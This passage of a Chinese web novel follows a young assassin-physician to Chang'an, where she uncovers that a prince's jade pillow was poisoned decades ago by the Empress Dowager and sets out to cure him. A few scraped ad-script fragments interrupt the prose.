我在小山村的时候,简直闭塞至极,以为全北汉都是疾苦。后来才知道这个世界的差距有多大,所谓富足,并不是富的像我在南唐做公主一样,是有层次的,贫穷也分了好多等级。天下不是非黑即白,非富即穷。 做杀手出任务,睁眼看世界,才知交通便利程度,信息差,对我们完成任务冒死挣得佣金回报率的高低有多重要。 举个例子,当时北汉建国不足五十年,我最初在的小山村大概是北汉建国前十年的样子,大一点的城镇可能是建国二十几年的样子,重点州郡首府便是建国三十几年的样子,皇城长安洛阳金陵等等一些顶级大都市才是北汉近五十年的繁华成就。 我也不是一开始就清楚地认识到大善人桑怀民实为北汉巨商,能艰苦朴素举家积善的伟大。反而是在以后的岁月里,越是见识了天下众生,越是感念他的难能可贵。他可是北汉巨商啊。 李府老太太是大乱战以后北汉建国的第一代人,经历战争,挨过饿吃过苦,所以她保留了最初的优良习惯。这接下来的几代人,能够秉承优良,还力争更胜一筹,是以北汉崛起之势日盛。 每每看到都市繁华,我都越发崇拜北汉的统治者们,最初的复拓者们以及继往开来的历代人,没有一人拖后腿,这是经历大乱战被靼奴各部化成焦土吃成绝户的北汉,如今欣欣向荣,国富民强,这是一个举国向前,充满活力和希望的国家。 从上郡太守府离开,我和堂邑夫,一路向西北进入大漠,去西域各国,然后回折进入草原靼奴匈奴戎奴羯奴各部地界,一路向东进入东北建州女真,又去新罗高句丽转了转,原打算乘船渡海回归北汉,体验一下堂邑夫的航海生活,可是正值海上风浪四起,海难频发时节,北汉来的大船都进港避风。船靠了岸,船夫们下了船,一时间酒馆歌舞馆热闹非凡,堂邑夫还遇上几个熟人,一同买醉,又为一个女人沉迷了好一段时光。 倒也有船只因为诸多各式各样原因着急出海,决定铤而走险,也愿意收一点高价顺路捎上我们,可是海难不是闹着玩的,堂邑夫是经历过的,他不愿意我冒险。船我都联系好了,可他从歌舞馆回来见我收拾好行囊准备出发,立即酒醒,最终我损失了一些定金。我们返回金国,借道辽西走廊的傍海道回到北汉,直入洛阳。 堂邑夫说要早知道天下这么大,洛阳城那么繁华,外面能吃饱的机会那么多,早应该带着兄弟们出来,那些没等到他成人的兄弟们就不用死了。 我说,万事都有定数,我们当时根本走不出小山村,贸然出来,路上死的兄弟们更多。我们能转这么一大圈,不外乎我们有钱有本事傍身。 堂邑夫叹了口气,猛灌了几口酒,倒头哭泣,我知道他想念兄弟们,可他却一直哭喊女人们的名字…… 把从西域雪原各国得来药材给了大师兄苏和,师父离开以后,他也四处行医,许久不见,一看我的情形他就知道我是试药身体出了问题。 苏和其实是师父的独子,我把鬼门的事务给他汇报了一下,自上郡任务结束以后,我让鬼门的同门用各种理由迁出小香河村,到各地建立情报据点,允许他们自愿接任务,佣金自愿抽成,都留下不上缴也可以,随他们处置。当然小香河村是我们永远的家,可以时常走动亲戚。 苏和点了点头,“变相的解散也好,本来我就不赞同鬼门的存在。” “没解散没解散,毕竟是师父他老人家的心血。”心事被戳中,我讪讪地道。虽说是建立情报暗桩,四处隐匿,非启用不得现身,却也没有给同门们下达情报任务,我最终目标就是解散鬼门,同门们都是苦出身,这些年出生入死,也该归于平静,但若直接挑明解散鬼门,也会有很多门众接受不了,我们对鬼门感情颇深,鬼门是我们共同的家,也是众多同门的精神支柱。 大师兄微微一笑,继续给我施针。“余毒都清完了,接下来也只能看你慢慢长了。少吃些糖,你牙再疼,我就得给你全拔了。” 我吓得赶紧丢掉堂邑夫给我做的糖豆子,捂嘴,又拿过一边的小铜镜呲牙检查,唉,身体停止生长,乳牙还没换完呢,虽说坏的都是乳牙,可要波及好牙,那可大大不好。 “师父,都收拾好了。”苏和的弟子们前来禀报。 苏和一边起针一边吩咐说等堂邑夫回来就可以启程。随即又再三嘱托留在这家医馆的弟子们行医之道注意事项。 苏和有弟子千众,他这些年多方游历,每在一处落脚,便立一座医馆,待一批弟子出师,能独挡一面,他就动身到下一处去。 原计划还要在洛阳再待上半年,可是长安城的惠王缠绵病榻多年,近来病情愈发严重,他姐姐平昭公主等不了这几月,差人送了拜帖来请了几次,又亲自来请。正好苏和这一批弟子争气,早早出师,可独当一面,一向坚持原则的苏和思量一下,便顺水推舟。要知道他可是连南唐摄政王都请不动的人。 没想到堂邑夫那个傻子还是性情中人,你说他是个痴情种,他却处处都有红颜知己,你说他风流滥情,人还爱的死去活来,痴情缱绻,每处的女人都对他念念不忘。 我想李椒了。 路途遥远,马车颠簸,闲来无事翻开我的游记小札,五个娟秀的小字,周围写满了李椒这个名字,字体和我的不一样,那是他教 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我的字体,我曾经怕忘了,有一段时间反复练习,这样想他时候就不那么难受,我痴痴的看着,不经意发现其中藏着歪歪扭扭的一行字,写着:一个傻子,想他做甚。 我神色一敛,蹙着眉头,合上小札,剜了一眼还在情伤未愈的堂邑夫,将手札往他脸上一扔。他也不做反应。 “知道自己是个情种,就别老招惹她们。一个一个花儿一般美丽迷人,抱在怀里多欢喜,离开的时候就有多难受。”我数落他,他将我扔过去的小札整理好收进箱子里,又用手绢擦了擦微红的眼睛,又很煞风景地擤了把鼻子,继续靠在车窗上嘤嘤难过。我不经鄙夷,又忍不住看他。 毕竟出身鬼门,又混迹情场多年,不得不说,堂邑夫很会拿捏尺度,他这会儿眼睛微红,比平时更好看,剑眉,内双,长睫半垂,泛着泪光。坚而挺的高鼻梁,鼻尖哭得粉粉的甚是可爱,额前两缕头发和柔软的碎发,凌乱慵懒,让他更负憔悴又不失风流,那副我见尤怜的样子,真是让人赏心悦目。 时不时不受控制的抽泣,粗壮的颈子,流畅的锁骨,宽阔的肩膀随着抖动,嗓子里浅浅的呜咽凝滞,整齐干净的胡青,微张的嫩唇,隐约的贝齿……拨弄着狂野的风情,浪漫,热烈又温柔,轻易便可撩动女子的心弦。 “还记得吗?小的时候捡到一块糖,我都说了别吃,吃了以后吃不到会很难受,你非是不听。兄弟们后来煎熬了那么久,狗蛋临死都念叨那一口,丧良心啊。”我说着在他胳膊上上下其手的掐他。他只管嘤嘤,更加娇弱,却只由着我去。 “我看你又和公主火热,我可跟你说好了,公主和你那些宝儿可不一样,咱们此去长安就定居下了,你可别生事儿哈。” “知道了,你上午刚说了,昨天也说了,前天也说来,我都哭成这样了,我顶着俩大红桃,我还羞于见她呢,那公主一看着我就招呼我过去,我有啥招,我平时这样子是不见客的,我臊得都没怎么抬头看她,我至今都没真切看清她长啥模样我,我哪就跟她热乎了。”堂邑夫这会儿的妄自菲薄,不过是狡辩而已。 看着他快委屈死的样子,我更掐了他一下,“好好好,那算我这是提前打好招声了好吧。嘴真是越来越硬。”那你立了这么个痴情人设,引得公主注意,能说会道又演纯情,关键脸长得不错,人又高大威猛,她不犯迷糊啊。 “真难受就再哭会儿,为了其他那啥的就收收,车里公主也看不见,大可不必。喝点水,哭一路嘴都该干了,一会儿和公主说话,嘴里有味儿,也影响形象坏了好印象。”噫,还羞于见客,每次和公主说话都凑那么近。 堂邑夫接过水杯抿了一口:“烫。” “你虚溜着喝。” 5. 皇室 函谷关,九州第一雄关,高峨狭长且险峻,重兵把守,公主的车队优先过关,马车从容行驶,我掀开帘子看着这嶙峋的关道,寻找上面刀砍火焚的痕迹,遥想当年靼奴胡虏各部是怎样冲破关楼,杀出关谷,自此长驱直入,踏破老唐山河,杀我男儿,食我妇孺。 我忽然心生愧疚,缩回马车,拿起书来看,试图平复。耳边似乎回荡几十年间冤魂的哭嚎,斥责李氏的怒骂。我闭目振作,然后掀开帘子,再次看着函谷关,暗自发誓:李氏欠下的债,我会还! 一路颠簸到了风陵渡,因着平昭公主一来一往奔波劳苦,身体实在疲惫,水路虽然慢些,但着实平稳,我们顺着渭河乘船进京。惠王虽然久病,身子每况愈下,也有太医照看,想来也并没有公主说的那般病势凶猛。自苏和启程以来,公主仿佛松了口气,又有堂邑夫陪在左右,公主心情大好,只偶尔念叨弟弟病情。也体贴我们,怕我们辛苦,是以并不催着赶路。 到了渭南城休整下榻之时,堂邑夫已经是公主的贴身侍卫了。 他拿了公主的赏赐来讨好我,说公主叫我别光顾着看书,闲暇时去找她玩,说我面善的紧,她看着就想亲近。 我翻着书页,头也不抬:“公主也是有意思,之前夸我勤奋,喜欢我刻苦,如今又叫我别光顾着看书,去找她玩。嗯,你和她好好玩吧,我自幼不喜欢玩,别带上我。” “公主也是一番好意,公主人很好的。” 我又没说她不好,这就维护起来了,我懒得和他口舌,只淡淡道:“你喜欢就好。” 堂邑夫自觉没趣,坐了一会儿便走了。之后的行程他再没来烦我。 先行进京安顿好新医馆的师侄出城十里来迎我们,进了城门我们和公主就此别过,堂邑夫没有跟着公主去,离别当然难分难舍,又一番景象。 车队前行,公主在马车上恋恋不舍,扒在车窗往后遥望,堂邑夫拍马追上去,又不敢跟的太紧,便与公主遥遥相望泪眼朦胧,最后捡起公主丢落泪迹斑斑的帕子,随风凌乱。 这是长安城,我上前劝他快快收敛。 长安城夜里的宵禁果然严格,可对我来说都不算事儿,我是夜行的黑猫,黑暗的精灵。虽是此生第一次步入长安城,我却仿佛生于斯长于斯。我很小很小的时候,刚刚会走,父皇母后就牵着我,在一张大到可以铺满整个大殿,绘制精细如亲临的长安城的地图上行走,后来图上大街小巷,都有我奔跑嬉闹的痕迹。 长安,那是父皇和母后的梦想,也是我的名字。 长安城,我来了。 李椒,我想你了。 我像个猫儿一样蹲在墙头,看着属于他的那盏灯熄灭,然后飞身隐入夜色,这一夜我在长安城里肆意游荡,直到三更,天微微启明,那个少年在天井里起武,他的武艺真是精进,拳风凛冽,衣袖作响,甚是好听。我喜欢他,他聪明,肯学,又勤奋,好钻研,给他一些窍门,他就能发挥极致。 他又长高了好多,健壮了好多,肩膀也宽厚了不少,脸上多了棱角,眼神更加坚定。 可我还是老样子…… 这段时间,我不喜堂邑夫,念着一起苦着长大的情分,不愿表露出来。来了长安城他更是不见影儿,书是一点也不读了。 我曾因为年幼不懂藏拙,因会读书写字,被桑怀民赏识喜爱,他交涉的人多,家里宾客云集,便多与人夸耀,人问他我的来历,他虽不全知但也知无不言,听者有心,故而招致祸端。我那时只在后堂行走,等获悉此事,为时已晚。 是以去找鬼门的路上,堂邑夫让我教他识字时,我并不轻易松口。后来架不住他央求,也抵不住好奇,便问他如何知道我能识字。 他说:“咱们去镇上要饭,你总停在城门告示牌那里便不走了,我常常见你歪着头看着告示若有所思,不知道在想什么。一开始也疑惑,一个连饭都吃不饱的娃娃,盯着告示看什么。” 也是,寻常百姓,目不识丁谁会对告示感兴趣,那东西从来不是给底层人看的,底层人也不关心。 “你每次都蹲在那里等我们,有一天我忽然有个念头,心头大振——约莫你应该是识字的,本来你和我们就不同,就算再饿,你吃饭的样子也很好看,就像樊楼酒家里那些贵人一样。我没敢再想下去,后来我打发兄弟们去要饭,自己就和你一起蹲在城门边上。” 我想起来了,是那么回事,后来有一次还被戍卫驱赶过,让我们滚远一点拉屎。堂邑夫背着我跑远才回头大声吆喝怒骂,“眼瞎的狗东西,你拉屎才不脱裤子。” 我道:“那时候就猜到了?” “也……不确定,这不试着问一下,谁知你嘴上否认,脸色却十分明了。” 我摸了摸脸,若有所思。难道有些东西真的藏不住吗?识字这种事一旦学会了,怎么能假装不会呢,就像一个看的见的人,怎么装瞎也装不像吧。就像一个假装睡觉的人,别人叫你的时候,你怎么也没办法自然的醒来一样,这种对抗人性本能的事情,却是我后来在鬼门除了试药试毒修炼武艺外,最异常艰苦的训练。师父命题,我做伪装,同门会想尽一切办法识破我,一旦被识破,就会受到各种想不到惩罚。在鬼门,暴露,是对所有人生命的背叛。高端的隐藏是最大的忠诚。 堂邑夫起初也是酷爱读书学习的,大概是我们四处游历的这年起,他眼界得以开阔见识得以广博,顿悟纸上得来终觉浅,又或许是从他留恋花丛起,便不愿静下心来端着书本和我畅游文章。 我想终归是长大了,心里住了人,一旦上了心头,书再读不利落,我能感同身受。只是他能将书抛的这么远这么彻底,我不经好奇是哪个姑娘塞满了他的心房,让他如此躁动自弃。 想了半天,觉得应该追溯到在西域楼兰的时候,那个艳压群芳的舞姬,我记得清楚,她有个哥哥,眉眼与李椒简直神似,曾一度让我恍惚……我因此多留了几日,不想却害得堂邑夫再也静不下心来。 离开楼兰,堂邑夫就小打小闹的开始跟我别扭了,后来渐渐越发明目张胆。我体谅他,安慰他说,人总是聚散无常,有些人注定是过客,你永远放在心里吧,不想忘,不忍忘,就永远记着。 他闻言血红着眼睛侧目看我,我当时被他看得有些慌了,结结巴巴道:“咱们这种人……咱们是不配拥有爱情的,爱一个人这种事对咱们来说,就像,就像誓死要隐藏的秘密,忠诚又坚强的守护在心里就好,便算是,算是对得住她,也对得起你爱她。” 他却闹得更凶了,最后抱头一通胡乱吼叫跳下马车,骑着我们在大宛高价买来的马儿,一人一马头也不回的向前走,那马儿还未长成不能长久负重,我如何叫他他也不应,像是下定了什么决心。 西域 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之行本是为了寻药,可我的身子我怎会不清楚,我那时心灰意冷,想倘若我们就此分开也好,本来上郡的事情结束后,按计划堂邑夫也是要找一个安身立命的好去处经营一处暗桩,成家立业,娶妻生子。 谁知第二天他就像个受气的小媳妇,委屈忿恨,围着羊毛围脖,只漏出红红的眼睛,十分幽怨,骑着不知哪弄来的骆驼,牵着马儿,跟了上来,也不说话,也不看我……就是那个时候起,他开始特别喜欢哭。 后来,他处处留情,处处洒泪,我有次实在不忍,便对他说可以留下,只当鬼门在外国开设一个暗桩…… 不等我说完,他又闹起来,狂吼一声,胡言乱语地大叫大嚷地骑着骆驼又跑了。那天雪域高原的风太大,我实在听不清他哭着闹着说了什么。大概那个叫旦增拉则喜饶的姑娘让他动了真感情……那姑娘的哥哥是个丹巴汉子,爽朗的笑声,总让我忍不住寻声看他。 入住长安医馆两日,苏和带着我和两个弟子,拿着请帖去惠王府出诊。 惠王虽为亲王,身份却比一般亲王更加尊贵,他是北汉第二位皇帝高祖刘是中宫嫡出的小儿子。高祖刘是乃北汉开国皇帝太祖刘国潜龙时期与元配所生的嫡长子,奈何刘是子女缘浅,在位期间,几个儿女相继去世,仅留平昭公主与惠王。刘是皇后不堪打击,重病不起也撒手人寰,母后离世,年幼的惠王深受打击,常年卧病。 刘是之勤政近乎疯狂,为国事操劳,几乎不入后宫,再无所出,油尽灯枯之时思量再三,唯一所存爱子体弱多病终究难当大任,故而兄终弟及,可当时刘是两个胞弟一个上阵杀敌留下残疾,一个放荡不羁爱自由,都不是君王之良选,为北汉长久之计着想,刘是最终下诏传位给同父异母的四弟刘景,便是当今陛下。刘景是太祖继后当今太后最痛恨厌恶的儿子。 传闻说刘景站立而生,天生克母,太后生了三天三夜,差点难产母子具损,幸得高人所救,因为吃了苦头,太后不喜刘景,甚至好多年不敢生养,直到刘景十多岁时,才又生了一女一儿,便是太后最宠的长公主刘婉和最爱的梁王刘文。 刘是执政后期病痛缠身,太后便于政治上苦心孤诣多有助益,也多次暗示刘是梁王谦恭,刘是曾有回应。 可大位终定,希望落空,太后在刘是的葬礼上毫无悲痛,一脸气愤几乎不做掩饰。只怨自己当初还不够狠心,应撤了刘景皇室玉蝶,或者一了百了永绝后患。 刘景从前不受喜爱,刘是为长兄多有偏袒,太后便一道懿旨收回封地,贬为庶民,外放齐地,并不许任何人与之亲近,刘景有才学,刘是特许他参加科举,竟真考取了功名,不过因着太后的打压,终究没有做官。 又过了几年,太后大概忘了这个儿子,众人也都忘了世间还有刘景此人。只有刘是常常挂在心上,暗中帮他娶妻成家。夫妻躬耕于齐地,生儿育女,很是恩爱幸福。 后来刘景安居乐业,一心平凡度日,太后见他与普通农夫无异,便再也懒得为难,故而相安无事了几年,直到羽林卫暗中护他回京,当着百官,殿前接旨,刘是撑着最后一口气,亲眼看他坐上龙椅,含笑九泉。 太后恼羞至极,原以为刘是撑着最后一口气是在等她最爱的儿子梁王,没想到却是这厮。当堂破口大骂,仪态尽失。一个母亲因为难产痛恨自己的儿子到了如此地步,也让人唏嘘不已。 6. 死局 先帝刘是与皇后相许于微末,举案齐眉,极其恩爱,一生四子二女都是皇后所生,后来皇后崩逝,刘是甚是伤心,太后之女刘婉进献很多美人,但刘是终不再立后,也再为有子嗣所出。 刘是夫妇的爱情故事一直在民间广为流出,当然坊间对于他后来子嗣凋零,最终皇权旁落也众说纷纭,其中真假不得而知。 惠王生的和平昭公主极为相似,常年室内病卧让他脸色苍白,但并没有死气沉沉的感觉,反而有一种特别儒雅的书生气质。他病弱却不孱弱,见我们来了就起身坐正笑迎,在我们行过礼后,便请我们入座,也不着急诊病,而是像个从不出门对外面的世界充满好奇的孩子,寒暄过后便问东问西,他因久病,对医术也有了解,不一会儿就谈论到病理药理上来,苏和上前把脉问诊,事无巨细一一应答。 我在房中转了一圈,又坐在他的床沿上环顾,不禁感叹真是好精致的一张大床。 一旁煮茶的公主见此情形虽觉不妥,却也没说什么。惠王倒是看着我笑起来,“你这小童儿真是胆大,还没人敢坐我的床呢。” 我还没搭话,苏和就护短道:“这是我的小师弟长安,是家父关门弟子,从小溺爱着,多有放肆,王爷莫怪。”嘴上说着莫怪,却也没有让我起身下来,给王爷赔礼,其中意思众人皆知。 苏和继续问诊,又看了看惠王的眼底舌头气色,微微蹙眉,看了我一眼。我心下自然明白,不出所料惠王的病,果真不简单,连苏和都觉得有些棘手。 惠王笑着看我道:“你这小童儿生的真好看,我仿佛见过一般。” “对吧,我头次见他也觉得面善的很。”公主闻言接过话去。 我呵呵一笑,拱手行礼说了句:“王爷得罪了。”便也不管惠王和公主一脸惊愕,只拖鞋爬了上去,在他床上到处闻,像一只小奶狗,最后爬到他身上在他领口颈子闻了又闻,最后目光锁定床上暖和上摆放端正的玉石枕头,抱起来细细嗅了嗅。 惠王长了张嘴,忍住没阻止,只是心里已经有微词,觉得这小孩儿也未免太大胆了些。 “王爷这枕头,好看!”我没想惠王接话,只对着苏和点点头。惠王自然看不出其中蹊跷,一脸疑惑。 大师兄苏和坐正,拱手道:“还请王爷公主屏退左右。”又吩咐两个徒弟随着一同退下,苏和一脸淡然,起身坐回客席一边喝茶一边沉思。 惠王和公主见势也不多问,只耐心等着。 我盘腿坐在惠王身边,拿着玉枕又闻又看又摸索,等人都退出院子,方问道:“这枕头王爷自来就有吗?” “这是我母后的,原本是一对,母后崩逝后一只父皇自己留着,一只给了我,我自幼便用着。”惠王一边说一边顺势拿回枕头,颇为爱惜地轻轻擦拭,唇角微微上扬似是想起往昔母子之间的美好故事,眼睛却微微泛红,幼子失母,总是世间最难过的事。 我最是能感受这种痛苦,忍不住给他擦了擦眼角的泪,彼此都错愕一下,我立即若无其事地问道:“那先皇后是怎么得到此物的?” 惠王和公主交换了一下眼神,实在觉得这小童话多,只是碍于神医苏和面子,他们着实不好驳斥,正犹豫之间,苏和正色道:“此事关系重大,还望如实告知。” 他们都不是笨人,看神色听其言,随即便反应过来其中利害。 这枕头难不成有问题?惠王有些激动,双手抓住我的胳膊道:“你的意思是……” 公主也回过味儿来,才要仔细说来,见惠王激动忙上前按住他。我也不挣扎,定定地对上惠王急切的眼神道:“我可什么也没说,还请惠王与公主先回答问题,再从长计议。” 原来这枕头是在刘是登基以后,作为继母的太后给刘是夫妇的贺礼,当时是一对,但刘是不喜欢奢华,说睡惯了皇后给他亲手缝的粗布枕头,便把其中一只赏赐给了惠王的大哥故太子刘让,后来皇后太子相继离世,这对枕头便被刘是收了起来,放在寝殿,虽不用,却也放在身边陪伴,以寄怀思。 再后来,惠王因为思念母亲,每每闻着玉枕上的香气,就如母亲陪在身边一样,刘是就将其中一只赐给了惠王,另一只一直放在身侧,直到公主大婚作为陪嫁以示恩宠。驸马是南军统帅,时常驻守军营,为解相思便将此物带到军中,后来不慎坠马,重伤不治,便随葬墓中。 我一一盘问,公主惠王一一作答,缓缓梳理清晰,我见二人一脸震惊还没回过神来,便不打扰,抱着玉枕走到苏和身边,一同饮茶。 须臾惠王才问:“我的……病还有救吗?” “这……治病救人原本不是件难事,可医者医病医不了命,事涉皇家,牵扯陈年旧事,太后安康长寿,我们——不太敢治。”这话我一个孩子说反而合适些,苏和沉默不语,惠王和公主闻言也知其中利害。 这是一个死局。刘是一家人真惨啊,被人算计成这样,大概最后他是明白的,所以才让太后最不喜欢的儿子刘景继承皇位。 苏和看了我一眼,暗示我不要趟浑水。 可是我想救惠王,这么多年我用毒杀人,除了鬼门的同门,我还没救过外人呢!毒也是药,药也是毒,给师父做药人,我也精通药理,虽然治病救人一直是苏和的理想,从来都不是我的理想,但这一次我强烈的想试一试。 我将玉枕举到胸前,“我方才探查了一一番,经年累月这玉枕上的药性以不如从前那般歹毒,所以王爷才可……”苟延残喘到今日,这话说着不好听,我便住了嘴,又道:“别留在身边了,赏赐给我吧,日后入药,也算一件功德。” 苏和知我意欲何为,也不顾惠王公主二人,慌忙起身将我拉至一边,小声道:“你莫要参合其中,我本意含糊过去,缘由都不肯相告,开些强身健体的药,不着痕迹地清理毒素,王爷这副身子我尽全力,或可保其十年寿数,已实属难得。我拦不住你多嘴,想着真相大白也好,王爷公主获悉实情便知此事非你我所能,此时抽身最好,切不可再多事,皇家水太深,你我只是医者。”苏和越说越激动,这话动静并不小,说给我听,内室的人也听得。 苏和虽然医者父母心,却最是理智,王侯将相他也接触良多,明哲保身,进退自知,是他行医的长久之道。他越长久,天下被他医治的人也就越多。惠王这件事,如他所说那般行事,是非常正确。 见我不语,他又牵着我回到惠王寝殿,作揖行礼,不等开口,惠王先道:“今日多谢苏神医和神医师弟告知病情根由,解我姐弟多年困惑,姐姐代我送他们出府吧。” 哭得已成了泪人的平昭公主,稍稍克制,起身走了几步几近晕倒,苏和上前搀扶公主坐下,拿出几粒药丸给公主服下,便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又起身行礼带着我走了。 我回头看了一眼惠王,他红着眼,噙满泪,却依然温和微笑,抬手挥了挥,示意我安心离去。他那样淡然,保持着体面。 父皇也是那样和我挥手告别。 上了马车苏和还是紧紧牵着我的手,生怕我跑了似的。他武功不如我,我要跑他万万拦不住我,我任由他牵着,道:“我想救他。” “不行,治病救人从来都是我的事,你不要插手,这是门规。” 什么时候立的这条门规?好吧,就算是有吧。“可他是中毒。”毒,是我的范畴。 “中毒也不该你管,你是什么身份你不知道吗,你做任务下毒杀人获利才是正道。” “师兄你变了,你还是你吗,你以前,不是向来痛恨我们不走正道,向来不支持我们做任务吗?如今怎说下毒杀人是我正道,我以前用毒佐助任务,你还鄙视过我,背地里还捎带着多次说过师父、我、还有全同门的坏话,如今怎么这般拦着我积德行善。你变了,变得我都不认……” “嘘,情况不一样,其中利害,你也该明白,还用我多说吗?”苏和捂住我的嘴巴,示意我小声些。 “可是我真的很想救他。”我拿开他的手,低声道。 “你……唉!”以前这种时候苏和多半就妥协了,可是这一次他叹完气后,又道:“我说不行就不行。”无比坚定地看着我,一定要得到我的答复一般。 我气得哼了一声别过头去,又转过头瞪着他,举着一只给他握着的小细胳膊,道:“放开我吧,你都弄疼我了。” 苏和原本一副严辞正色,被我这般一吼,立马慌张尴尬的放手,动了动嘴想说什么,最终别过头去。 我长安要做的事就没有做不成的。 深受打击,惠王的病突然加重,平昭公主守着弟弟痛心无比,又无可奈何。 “姐姐不要哭,苏神医说的对这是命不是病。死前知道真相也可明目,去了地下说与父皇母后大哥姐夫,也不算枉死。” “我要报仇,我要报仇……”公主几欲疯狂,附身在惠王床边。 惠王一只手放在公主唇上,摇了摇头。“姐姐慎言,倘若咱们一早被害,身边人岂有干净一说。今日事宫中怕早已知晓,或许早在你去请苏和入京,她们就都做好准备了……呵呵,咱们算什么对手吗?或许她们根本不在乎咱们知道真相与否,就算这事拿到明面上,陈年往事,只言片语,岂可作数,即便提有证物,又哪里经得住推敲。人家大权在握,都不需要花言巧语粉饰,只字片语就可打发我们,你我如今还能如何,总不能当面锣对面鼓,四处乱咬,没得失了体面也于事无补,再说,你我真的做好准备面对撕破脸皮后的风暴了吗?我们根本不敢……咱们一家人叫人算计了,当年蒙在鼓里,如今更无反手之力,苏神医是江湖中人,伶俐不过江湖,他置身事外是对的,咱们不能连累他们,认命吧,说到底咱们还得多谢人家,要不然到死都不知内情,到死都对仇人感恩戴德……姐姐,算了吧,认了吧……” “可我不甘心,我不甘心。”公主哭着扑进惠王怀中。 惠王轻轻拍着怀里的姐姐,虽然病着,但他到底是男儿,从小,父皇就教育他,无论什么时候都要强大,保护好姐姐。可是父皇我好累啊,我看不到任何希望,我要怎么安顿好姐姐呢…… 7. 学宫 “怪不得我瞧着你眼熟,原来你是平安的弟弟。”惠王半躺着靠在床上。 夜已深,连虫鸣都停了。 我将药箱里的一应用具拿出来摆放好,笑道:“我比平安大。”不等惠王好奇询问,我自顾自道:“我给师父试药,积年累月,尝尽百草百毒,身子坏了,此生再也长不大了。”灵魂一生都被禁锢在这小小的身体里。 惠王敛了笑意,一脸同病相怜,大约是想到自己,悲戚不已。 “众生皆苦,原本我和平安也是好人家的孩子,糟了难就分开了,我差点死了,有幸被师父救起,学了一身武艺,试毒试药,学习药理,帮着师父师兄研制药材,与天下疾苦出一份力,能尽此身之用,也不枉此生,我从不自怨自艾,反而觉得当初若是死了也就什么都没了,活着多好啊,起码还能给王爷解毒治病不是?” 我这般开朗,惠王也受到感染,低头一笑,又仰头长舒一口气,闭着眼也不知道想什么。须臾才道:“今日平安来传话,我就想你为什么不把妹妹接出去,反而还要留她在我府上做歌姬,以你现在的能力,怎可让妹妹入贱籍,接回去做个良家子岂不好吗?” “歌姬的身份固然不好,但也要看在谁府上啊,在王爷府上做歌姬,吃穿用度,可比寻常人家的良家子好太多,比富贵人家的小姐也不差。我们江湖儿女不在乎虚名,更看重实在,再说我长年行走江湖,不在妹妹身边,我妹妹生的好看,寻常人家哪里藏得住,须得王府这种深宅大院才能护我妹妹周全。” 我一边解开惠王发丝,剪下一缕。又取手脚指甲,除去衣物去四肢体毛,心头血指尖血足尖血等精血,一边说道:“我也是这两年才打听到妹妹下落,托人书信往来,一直不得空来京城与她相认,此番也是借了王爷的光。” 惠王体弱,一番操作,竟汗流浃背,床单上也印出一个人形汗渍。左右都已屏退,好在我在苏和医馆也经常照顾病人,干起活来手脚麻利,我帮他换下虚汗浸透的衣服,让他在一旁榻上稍做休息。从柜子里取了床单被褥换好,再扶他躺下。 随后我将发丝体毛指甲等物,一一放在金勺子上烤焦,碾碎,又放进水晶器皿里蒸煮,最后冷却收集,烤干再用内力化成齑粉,化入精血,放在鼻尖细闻,含在口中,将其中毒素吸入体内,盘膝静坐,运气调息,感受毒物在经脉里行走的气运。 惠王静静地看着,神色跟着我变化,许久才见我收气睁眼,大概觉得太过沉寂,便道:“继续让平安姑娘做歌姬实在委屈,我这就……” “王爷不必为她费心,我与她团聚之时已问过她啦,王爷公主待人宽厚,她喜欢王府,她愿意在府上待着哪也不去。”我顿了顿又道:“王爷待她就和之前一样便好,如此平安更平安些。” 惠王闻言思量一下,了然点点头。 从惠王身上提取出来的毒素,在我身上并没有太大反应,于是我又要玉枕。那玉枕让公主安置了,一番折腾,公主才独自端着锁有玉枕的匣子送来。那匣子是密封好的,看来姐弟两人对此物深有芥蒂深恶痛绝。 我将玉枕取出,把上面的闻香玉拆下来。一边拆一边道:“这闻香玉产自波斯,应是老唐时期进贡之物,若不是浸了毒,确实是件好东西,只是下毒的人心机深重,利用闻香玉的特点做掩,常人根本无法分辨,一旦收下此物留用,在劫难逃。” 惠王今年二十五岁,大约五六岁的时候得了那个玉枕,再往前历数几年,枕上玉中浸的毒大概有近三十年,如今差不多挥散尽了,我将一片小玉化做齑粉服下,却因我常年试毒,仅有的几味毒,我吃到身体里还是不做反应。看这情形,我就算把整个枕头吃了也无用。 我又仔细望闻问切一番,综合苏和的诊断,得出结论,惠王体内的毒素消耗代谢的差不多了,残留的毒素经过治疗可以尽数排出殆尽,如今身体越发虚弱,是因为身体常年被毒物侵蚀,机体脏器损伤严重,寻常大夫束手无策,但苏和的医术确实可以保他十几年寿数,当然想要好转如常人,并非不可,只是还需特殊治疗,该到他有这个机缘,遇上了我。 我并未把其中道理与之明说,只道:“自古皇室后宫争斗,权力倾轧,只要不挑到明面,大都装聋作哑,断不会上赶着往自己身上扣屎盆子,那人城府极深,沉稳至极,即便王爷公主请我大师兄来问诊,那人也未有动作,一是那人许是极为自信认为我师兄与之前医者一样,诊不出病因。二者那人怕是咬死了绝不肯认当年送出的玉枕有问题,也料定你们就算获知实情也不敢怎样,三来人的天性是避祸,我师兄抽身而退,也是情理之中,那人坚信这世间无人敢医你之病,无人能解你之毒。四嘛,你这身子若非遇上我,断无生机。那人料定算准,赢得彻底,也不把咱们放到眼里,大概早做陈年旧事翻过去了,不想旧事重提惹一身骚,如今更是不屑动手,这反而就是王爷的转机。天意在王爷,留有一线生机,此等际会世间并不常有,既如此咱们也当没中毒这回事,切莫再引起不必要的纷争。皇家有一处汤泉,惠王可借此地疗养,天时地利人和,王爷机缘已到,把身体养好才是正经。我这就回去收拾,王爷启程前往顺路带上我。”说完我收拾好药箱行李告别。 公主讳莫如深,道:“你这小童儿,颇懂权谋诡谲,竟深谙此道。小小年纪比你师兄看事深远老辣。” 惠王伸手拦了一下公主示意她不要再说,也对她的用词又些不满。 